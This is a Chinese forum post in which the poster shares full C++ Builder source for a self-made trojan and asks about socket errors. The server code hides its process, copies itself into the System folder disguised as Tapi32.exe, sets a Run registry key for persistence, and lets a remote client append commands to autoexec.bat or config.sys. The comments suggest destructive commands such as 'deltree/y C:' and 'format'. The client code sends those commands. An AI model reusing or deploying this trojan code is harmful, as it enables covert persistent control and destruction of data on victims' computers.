木马问题
我参考网上下载的文章,编写了一个简单的木马程序,client和server端编译通过,而且可以单独运行,但我在一台机子上,先运行server端程序,再运行client以观察效果,此时,会出现asynchronous socket error 10061(有时是10045等)错误提示。请高手指点一下,谢谢!
Server端:
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
#include <Registry.hpp>
#include<dstring.h>
void __fastcall TForm1::FormCreate(TObject *Sender)
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD(CALLBACK*LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
Label1->Caption=char(hDLL);
//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
//得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
//卸载动态链接库
}
{
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
String SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str(),FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
TRegistry *Registry = new TRegistry(KEY_READ);
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
//如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
//如果不是,就写入以上键值和内容
}
catch(...)
{
//如果有错误,什么也不做
}
}
}
//---------------------------------------------------------------------------
#include<stdio.h>
#include<io.h>
#include<sys\stat.h>
#include<mmsystem.h>
void __fastcall TForm1::ServerSocket1ClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{ FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
//在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket->ReceiveText();
//接收客户端(攻击者,也就是你自己)传来的数据
if(temp.SubString(0,9)=="edit conf")
//如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
//得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
//将第11个字符转换成integer型,存入file_name变量
//为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
//余下的字符串将被作为写入的内容写入目标文件
char filename[20];
chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);
chmod("c:\\config.sys",S_IREAD|S_IWRITE);
//将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
//如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
//如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
//定义计数器
while(fp==NULL)
{
//如果指针是空
fp=fopen(filename,"a+");
//如果文件不存在,创建之;如果存在,准备在其后添加
//如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
//计数器加1
if(times_of_try>100)
{
//如果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
//就发回“Fail By Open File”的错误信息
//goto END;
//跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
//写完后关闭目标文件
Socket->SendText("Sucess");
//然后发回“Success”的成功信息
}
else if(temp=="open")
{//如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL,0, NULL);
//就弹出光驱的托盘
}
else if(temp=="close")
{
//如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0,NULL);
//就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
Client端:
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
#include <stdio.h>
#include <math.h>
void __fastcall TForm1::Button1Click(TObject *Sender)
{
if((Edit2->Text=="")||(Edit3->Text=="")) return;
//如/果输入IP地址框或输入端口号框有一个为空,就什么也不作
ClientSocket1->Address=Edit2->Text;
//目/标IP地址
ClientSocket1->Port=atoi(Edit2->Text.c_str());
Edit2->Text=ClientSocket1->Port;
//目/标端口号,本例中的4444
ClientSocket1->Open();
//连/接!
}
#include "stdlib.h"
#include "winbase.h"
#include "fcntl.h"
#include<stdio.h>
#include<io.h>
#include<sys\stat.h>
#include<mmsystem.h>
void __fastcall TForm1::ClientSocket1Connect(TObject *Sender, TCustomWinSocket *Socket)
{
if((Edit1->Text=="edit conf 1")||(Edit1->Text=="edit conf 2"))
//如/果是要编辑autoexec.bat或config.sys
Socket->SendText(Edit1->Text+RichEdit1->Text);
//发/送命令和欲添加的语句
else
Socket->SendText(Edit1->Text);
//否/则只发送命令
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ClientSocket1Read(TObject *Sender, TCustomWinSocket *Socket)
{
AnsiString ReadIn = Socket->ReceiveText();
//读/入收到的返回信息
RichEdit1->Text="";
//清/空编辑框
FILE *fp;
fp = fopen("ReadIn.tmp","w");
//建/立一个临时文件ReadIn.tmp
fwrite(ReadIn.c_str(),1,10000,fp);
//写/入信息
fclose(fp);
//关/闭之
RichEdit1->Lines->LoadFromFile("ReadIn.tmp");
//在/编辑框中显示返回的信息
}
void __fastcall TForm1::Edit1KeyPress(TObject *Sender, char &Key)
{
if(Key==VK_RETURN)Button1Click(Sender);
//如/果敲的是回车键,就和点击Button1一样的效果
}